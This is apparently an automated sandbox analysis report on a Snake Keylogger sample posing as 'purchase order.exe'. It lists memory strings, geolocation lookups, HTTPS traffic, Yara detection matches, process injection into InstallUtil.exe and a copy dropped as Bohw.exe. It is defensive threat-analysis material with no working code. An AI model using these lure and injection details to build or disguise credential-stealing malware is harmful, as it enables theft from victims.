Source: InstallUtil.exe, 00000003.00000002.3690336152.000000000289E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A3D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: purchase order.exe, 00000000.00000002.2562619259.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002961000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: purchase order.exe, Bohw.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: purchase order.exe, Bohw.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: purchase order.exe, Bohw.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.0000000004AF0000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.00000000046C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A68000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: purchase order.exe, 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: InstallUtil.exe, 00000008.00000002.3689902145.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: InstallUtil.exe, 00000003.00000002.3690336152.0000000002921000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.000000000292E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.0000000002913000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3690336152.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A68000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E77000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002E69000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: InstallUtil.exe, 00000003.00000002.3690336152.000000000287A000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3689129478.0000000002A25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3689902145.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33x
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2562619259.0000000002D5E000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.000000000311F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: purchase order.exe, Bohw.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.purchase order.exe.3e6e350.3.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.Bohw.exe.41bfeb8.5.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000006.00000002.2879526593.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2572247495.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2562619259.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.2896822556.0000000003E0C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000005.00000002.2797251717.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000007.00000002.3683072069.000000000041B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2572247495.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.2815939697.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: purchase order.exe PID: 6884, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Bohw.exe PID: 6024, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Bohw.exe PID: 4528, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: InstallUtil.exe PID: 6644, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: purchase order.exe

Sample has a suspicious name (potential lure to open the executable)

Source: purchase order.exe

Static file information: Suspicious name

Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CDE0D0 NtResumeThread,	0_2_05CDE0D0
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CDCBE0 NtProtectVirtualMemory,	0_2_05CDCBE0
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CDE0C8 NtResumeThread,	0_2_05CDE0C8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CDCBD8 NtProtectVirtualMemory,	0_2_05CDCBD8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0652CBE0 NtProtectVirtualMemory,	5_2_0652CBE0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0652E0D0 NtResumeThread,	5_2_0652E0D0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0652CBDD NtProtectVirtualMemory,	5_2_0652CBDD
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0652E0C8 NtResumeThread,	5_2_0652E0C8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 6_2_05DBE0D0 NtResumeThread,	6_2_05DBE0D0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 6_2_05DBCBE0 NtProtectVirtualMemory,	6_2_05DBCBE0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 6_2_05DBE0C8 NtResumeThread,	6_2_05DBE0C8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 6_2_05DBCBD8 NtProtectVirtualMemory,	6_2_05DBCBD8

Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FF6450	0_2_00FF6450
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FF6441	0_2_00FF6441
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FFA880	0_2_00FFA880
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FF6CFA	0_2_00FF6CFA
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FF6CF4	0_2_00FF6CF4
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FF6EE8	0_2_00FF6EE8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_00FFEEE0	0_2_00FFEEE0
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05C62B20	0_2_05C62B20
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CB12C0	0_2_05CB12C0
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CB15E7	0_2_05CB15E7
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CB24C8	0_2_05CB24C8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD7950	0_2_05CD7950
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD9AF8	0_2_05CD9AF8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD1278	0_2_05CD1278
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD793F	0_2_05CD793F
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD8FA7	0_2_05CD8FA7
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CD9AE9	0_2_05CD9AE9
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE7558	0_2_05CE7558
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE0C18	0_2_05CE0C18
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE93B0	0_2_05CE93B0
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE7548	0_2_05CE7548
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE0C0A	0_2_05CE0C0A
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE17F1	0_2_05CE17F1
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CEDF39	0_2_05CEDF39
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE1959	0_2_05CE1959
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE106F	0_2_05CE106F
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE1800	0_2_05CE1800
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CE93A1	0_2_05CE93A1
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CFEC90	0_2_05CFEC90
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF5E09	0_2_05CF5E09
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF6630	0_2_05CF6630
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF5BDA	0_2_05CF5BDA
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CFEC80	0_2_05CFEC80
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF6623	0_2_05CF6623
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF51EB	0_2_05CF51EB
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF51F8	0_2_05CF51F8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF0040	0_2_05CF0040
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF0039	0_2_05CF0039
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CFFBF9	0_2_05CFFBF9
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05CF6BF7	0_2_05CF6BF7
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_061D3790	0_2_061D3790
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_061DE918	0_2_061DE918
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_0653D870	0_2_0653D870
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_06520040	0_2_06520040
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_06520006	0_2_06520006
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 0_2_05C62AFF	0_2_05C62AFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272A268	3_2_0272A268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272C1E1	3_2_0272C1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_027246D9	3_2_027246D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272C7A0	3_2_0272C7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_027254E1	3_2_027254E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272C4C1	3_2_0272C4C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_02727548	3_2_02727548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272CA80	3_2_0272CA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272E8D7	3_2_0272E8D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272F900	3_2_0272F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_02726F21	3_2_02726F21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272CD61	3_2_0272CD61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272BD38	3_2_0272BD38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272BF00	3_2_0272BF00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272DCA0	3_2_0272DCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_0272DC90	3_2_0272DC90
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_05536450	5_2_05536450
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_05536441	5_2_05536441
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0553EEE0	5_2_0553EEE0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_05536EE8	5_2_05536EE8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0553A880	5_2_0553A880
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_05536BE5	5_2_05536BE5
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_065012C0	5_2_065012C0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_065024C8	5_2_065024C8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_065015E7	5_2_065015E7
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06521278	5_2_06521278
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06529AF8	5_2_06529AF8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06527950	5_2_06527950
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06529AE9	5_2_06529AE9
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06528FA7	5_2_06528FA7
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_0652794E	5_2_0652794E
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06530C18	5_2_06530C18
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06538538	5_2_06538538
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_065317F2	5_2_065317F2
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06530C0A	5_2_06530C0A
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06538531	5_2_06538531
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06537597	5_2_06537597
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 5_2_06530BCA	5_2_06530BCA
